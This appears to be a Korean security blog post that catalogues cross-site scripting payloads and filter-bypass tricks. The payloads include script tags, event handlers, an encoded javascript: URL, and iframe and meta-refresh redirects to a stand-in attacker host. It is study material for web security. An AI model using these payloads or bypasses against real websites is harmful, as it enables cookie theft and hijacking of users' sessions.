본문 바로가기
Web/Webhacking

크로스사이트 스크립팅 공격 및 우회 기법

by jjudy 2022. 4. 20.

크로스사이트 스크립팅(XSS) 공격 기법

 

* 스크립트 태그 : 스크립트 태그로 자바스크립트 실행

<script>alert('xss')</script>

 

* 자바스크립트 태그 : 링크 태그로 자바스크립트 실행

<a href="javascript:alert('xss')">xss</a>

 

* 이벤트 속성 : 이벤트 속성을 사용, 주로 on으로 시작하는 속성     (예)onload, onerror, onclick 등

<img src = "#" onerror = "alert('xss')">

 

* 내용 난독화 : HTML 인코딩

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;
&#x6C;&#x65;&#x72;&#x74;&#xA;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">XSS</a>

 

* iframe 태그 : 문서 내에 삽입할 로컬 및 원격지 페이지 호출

<iframe src=http://www.attacker.com></iframe>

 

* embed 태그 : 웹 페이지에 여러가지 형태의 객체(이미지 파일, 기타 파일 등)를 추가하기 위해 사용

<embed src=http://www.example.com/malicious_flash.swf></embed>

 

* form 태그 : 사용자 정보를 입력 받고 정보를 서버나 전자메일 주소로 보내는 방법을 제공<

 

* meta 태그 : 지시하는 url로 이동, content=0 일 때는 즉시 이동을 의미

<meta http-equiv="refresh" content="0;url=http://www.attacker.com\">

 

* div 태그 : 이미지를 삽입

<div style="background-image:url(javascript:alert('xss'))">

 

 

크로스사이트 스크립팅(XSS) 우회 기법

 

태그 속성 값 

    <script> 태그 및 < > 와 같은 문자를 사용하지 않고도 수행될 수 있다.  아래 공격 코드로 쿠키 정보를 노출시킨다.

 

블랙리스트 우회 : 알려지지 않은 태그와 속성들을 사용

       <ruby oncopy=“alert(‘xss’)”>xss</ruby>

 

*  구문이나 인코딩에 예기치 않은 변형을 삽입

 

비재귀 필터링 우회

    때로는 필터링이 한 번만 적용되고 재귀적으로 수행되지 않는 점을 이용

 

외부 스크립트 포함

   <script src   가 삽입되었는지 확인하는 정규식이 있다면  ">"  문자를 사용하여 우회한다.

 

HTTP 매개변수 오염

   매개변수 값을 동일한 이름으로 연결하는 경우 패턴 기반 보안 메커니즘을 우회한다.

 

'Web > Webhacking' 카테고리의 다른 글

SQL 인젝션 우회  (0) 2022.04.22
SQL 인젝션  (0) 2022.04.22
크로스사이트 스크립팅(XSS)  (0) 2022.04.19
파일 다운로드 공격 및 우회 기법  (0) 2022.04.13
파일 다운로드(File Download)  (0) 2022.04.13

댓글